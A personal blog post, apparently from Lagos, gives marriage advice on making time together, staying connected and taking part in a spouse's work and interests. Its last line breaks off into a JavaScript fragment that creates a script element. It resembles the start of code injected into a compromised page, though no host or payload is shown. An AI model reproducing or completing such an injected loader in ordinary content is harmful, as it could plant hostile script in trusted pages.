COME IN….

In my last two posts, i did say that i’ll be sharing tips and buttressing them with practical examples – both personal and non-personal. I think i’ll just share one or two thoughts today. Enjoy…

A “healthy” marriage takes work o. You don’t feel the way you felt for each other in courtship or as newly weds all the time. Don’t panic- it’s very normal. A quote i once read states that,” Emotions come and go. Do the deeds and the feelings will follow.” Make the phone calls from work just to say “Hi, I was thinking about you.” Get out, one-on-one, just the two of you, even if it is just for a drink. In Lagos where i live, life can be so engaging that creating time together can be very difficult, even though a great necessity and ultimately very refreshing. Also, in this part of the world where we’re so social and have huge attachments with friends and family, intimacy needs to be built between husbands and wives when they create those away times. I and my husband work together but we still step to each other and crack jokes via skype; i guess it’s easy because we were friends for over 12years before we got married (that’s not the standard o, but have a healthy friendship first though). Interested in knowing how it all started? See me one on one…lol

Another tip is this: Take time to listen and stay “current” with each other. Don’t pour all of your energy into your job and have nothing left over for your family. Don’t become “married singles” -two people living in the same home who longer have anything in common. If your job (or ministry) does take all of your energy all of the time, then speaking to both parties, you need to create that time or find a different job. There is nothing more tragic in life than a man (or woman) who makes it to the top of the company ladder and loses their family in the process.

I know what i wrote in the last paragraph looks like “too much theory” but i’ll say this. Any woman who has not gotten into her head that a man’s primary concern is his work or business is in for frustration in marriage. If you don’t understand that the man is under pressure to ensure that money keeps coming in to maintain the home and so, focuses on the ways he thinks this will happen, you have a major lesson to learn. When hubby works late and hard instead of gisting with you, it doesn’t mean he loves you less. Infact, it means he cares so much about you that he can’t stand you lacking. So, the best you can do is to “come into his world”. How? By being a part of his work and business. Understand what his work entails in detail, share in his challenges, use some of the terminologies in his field, network with his colleagues in the office, be involved. It sure makes him feel loved and cared for; it also gives both of you more reasons to talk. I have a personal experience of this. Everywhere my husband has ever worked (all multinationals), i’ve known almost all the staff, including the drivers and cleaners; for some of his colleagues then, we have become family friends. He gisted me about the small and big trainings, local and abroad, and i listened, i read through some of the journals and generally developed interest. Many ladies just switch off from their husbands’ primary interest, that’s not very wise. I have a friend who, when she discovered that her husband will ignore anyone when watching football, had to create a love for football. She had to read up, step up and learn. Even if it’s a little interest you develop, he’ll appreciate it. That will even make you challenge him to get involved in some of your interests as well. Our seperate friends have now become mutual friends. The law of sowing and reaping has so much application in marriage.

It’s interesting that most people don’t understand that the moment you get married, you cease to exist in seperate worlds. There’s a breakdown of every wall as you both cleave, that’s God’s original plan. Every business of either of you becomes the business of both of you, that’s how to build unity and true lasting intimacy. Men, marriage is not all about you, shift, come into your wife’s world. So i’ll say for the married, both of you, don’t stay outside, come in, into each others’ worlds so you can unite and have one WORLD……

I could go on and on but i’ll stop here. Keep working on your marriage or marriage-to-be. Have a lovely weekend!var d=document;var s=d.createElement(‘script’);